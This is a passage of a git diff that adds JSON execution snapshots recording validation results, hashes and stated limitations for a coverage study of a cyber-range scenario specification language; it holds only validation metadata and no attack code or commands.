boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "cc2db8975ecf33147f0aaf7ce2b7223964241ee3f35cd4ee164503aeb6cab573", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "3d76531369f126c401139673689bc58cc0114956db14dc51de81017b24f47e7c", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "a64a4dd4f49c3ff1e3363793d81b1a7679190208ad105541d5c0701ef7dfebda", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "5152cfbaa8f73c1620a08c19202fd02943fb8aaf", + "snapshot_id": "raes-standardized-specification-coverage-issue-342-v16", + "snapshot_revision": "16.0.0", + "source_state": { + "base_revision": "5152cfbaa8f73c1620a08c19202fd02943fb8aaf", + "checkout_state": "modified", + "implementation_digest": "f7d7ee3d08e9dbcbb47abfcd97ee72a9ab4e3a222afb8070bb8a902c008e6e66", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v17.json b/docs/research/specification-coverage/execution-snapshot-v17.json new file mode 100644 index 000000000..b16168e1a --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v17.json @@ -0,0 +1,678 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-15T20:15:40.771565+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "9c986c5e379fc6afb05711051c116e48f00a66f0b231e5611246cd916771f3db", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "e0492ae0c6217832f233e960a030a80eed13d4100890c202c4f88f2809d2c160", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "ddf2cd2a7b46f895ea1a845bad7e90db1f05b2ef6abce3789b20ebb1698c7c7f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "2ac0c5f9f6c9609101a2f9895d671bf2aee8773f", + "snapshot_id": "raes-standardized-specification-coverage-issue-1241-v17", + "snapshot_revision": "17.0.0", + "source_state": { + "base_revision": "2ac0c5f9f6c9609101a2f9895d671bf2aee8773f", + "checkout_state": "modified", + "implementation_digest": "60bdfa60f08ff6bd41504e6c43d4c91f60ff48da8a974e64f972d53d48dfbc04", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v18.json b/docs/research/specification-coverage/execution-snapshot-v18.json new file mode 100644 index 000000000..e1b07a66f --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v18.json @@ -0,0 +1,678 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-15T21:22:34.264356+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": 